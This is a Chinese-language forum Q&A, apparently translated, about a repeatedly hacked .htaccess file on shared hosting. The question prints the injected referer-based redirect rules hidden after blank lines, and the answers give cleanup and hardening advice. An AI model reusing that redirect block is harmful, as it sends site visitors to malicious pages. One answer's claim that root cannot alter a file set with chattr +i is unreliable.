.htaccess 屡屡遭黑客攻击

.htaccess 屡屡遭黑客攻击

大约 4 或 5 天前,一位客户回复我说,他们的网站被重定向到 Google、Yahoo 等其他一些看起来可疑的网站,但当用户直接在浏览器地址栏中输入网站 URL 时,网站运行正常。

我尝试联系我的托管服务提供商,但他们一开始几乎没有提供任何帮助,而且似乎花了很长时间才找出问题所在。

等待的时间让我感到很沮丧,我开始寻找到底发生了什么。在谷歌上搜索了一会儿,寻找解决方案后,我发现我的 .htaccess 文件被黑客入侵了。

什么是:

<Files *>
Header set Cache-Control: "private, pre-check=0, post-check=0, max-age=0"
Header set Expires: 0
Header set Pragma: no-cache
</Files>

已经变成

<Files *>
Header set Cache-Control: "private, pre-check=0, post-check=0, max-age=0"
Header set Expires: 0
Header set Pragma: no-cache
</Files>
//several hundred empty lines later
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ /*don't want to post the malicious URL here for fear of retaliation */[R=301,L]

基本上,攻击我的机器人似乎写下了指令,所有来自重要网站的流量都被重定向到病毒网站。

我立即删除了令人反感的代码,修复了这个问题,我为自己聪明的一面感到很自豪。我还从公众可以访问的主文件夹中删除了 .htaccess 文件,并将其保留在根目录的上一个文件夹中。我还将权限更改为 444,任何人都只能读取。我更改了我的 FTP 访问、托管控制面板、MySQL 数据库等的密码。

然而,今天问题又出现了。原来我的 public_html 文件夹中安装了一个新的 .htaccess 文件,其中只有我上面写的令人反感的代码,没有其他内容。

这是怎么回事?

我觉得这不是我的密码被泄露的情况。我使用的是共享主机,也许同一硬盘上的某个人编写了一段代码,将 .htaccess 文件愉快地写入所有邻居。这可能吗?我能做些什么来确保这种情况不会再次发生?

但是我无法重新安装或对主机的主操作系统做任何事情......

答案1

您的网站已被黑客入侵。您需要清除它并从已知的良好备份中恢复。保留被黑客入侵的网站及其日志的副本,以便您可以将其与正常网站进行比较,并尝试找出该网站是如何被入侵的。

答案2

我发现蟑螂

我做了所有事情,包括更改 FTP 密码、托管面板密码、(痛苦地)擦除整个 2GB 并将其全部上传回来,以及更改数据库密码。

他们还是进来了。

FTP 日志只显示了我自己的操作。除此之外,.htaccess文件的最后修改时间戳与我的时间戳完全相同(每当我纠正其重复的曲解时),因此无法知道修改的时间和方式。我猜他们使用filemtime()touch()来做到这一点。

事实证明,恶意文件是通过 osCommerce 安装进入的。我不知道它是如何进入的,但具体来说,它是通过管理区域进入的。在管理文件夹中,有这些名为“google_analitis(sic)_somenumber”的外部文件。我在主统计阅读器上注意到了它们。我刚刚查看了今天被访问的所有文件(正常日志),幸运的是,该文件今天又被黑客入侵了。我怀疑有一个恶意脚本,但没想到,这些文件的文件名上到处都是垃圾邮件制造者的臭味。

我打开它们,果然,它们正在做很多恶作剧。

我刚刚使用 URL 打开了其中一个文件,我真的很惊讶这些文件所提供的控制量......它是整个网站的并行控制面板!

希望这对某些人有帮助...看看你的第三方应用程序,尤其是当你看到大量未知的机器人在你的网站上爬行时。

答案3

检查站点的 FTP 日志或许是个好主意,或者如果您无法访问它们,请让您的提供商检查。很可能有人以某种方式获取了您的 FTP 详细信息并更新了 .htaccess 文件(通常他们喜欢编辑 index.* 文件)。我们已经多次看到客户端计算机感染木马或类似病毒的情况。

您说您已完全删除了 .htaccess 文件。这表明他们能够创建文件。最有可能是 FTP 访问,但也要检查文件所在的主目录 (public_html) 的权限。确保它们不是全局可写的。

一般来说,除非权限松懈,否则不可能在共享服务器上的其他人的网站上编辑/创建文件。

答案4

我遇到了一个严重的问题,有人入侵了我的 .htaccess 文件,我唯一的解决方案就是让文件无法被入侵。首先,我清理了 .htaccess 文件和所有被入侵的 PHP 文件。然后,我将 .htaccess 文件的文件权限更改为 444(644 仍然允许访问)。然后,我使用 shell 访问我的帐户,使文件“不可变”,这意味着它无法更改!

当您在 Linux 服务器上拥有对帐户的 shell 访问权限时,请输入以下内容:# chattr +i .htaccess

现在,即使具有 root 权限的人也无法更改该文件!

如果您需要撤消此操作,请输入:# chattr -i .htaccess

如果您无权访问您的帐户的 shell,请询问您的网站主机是否可以为您输入此信息,以使文件不可变。

对于非 Linux 帐户,只需在 Google 或 Bing 中针对您的 Web 服务器类型输入“making file immutable”即可。这应该会为您提供所需的信息。

相关内容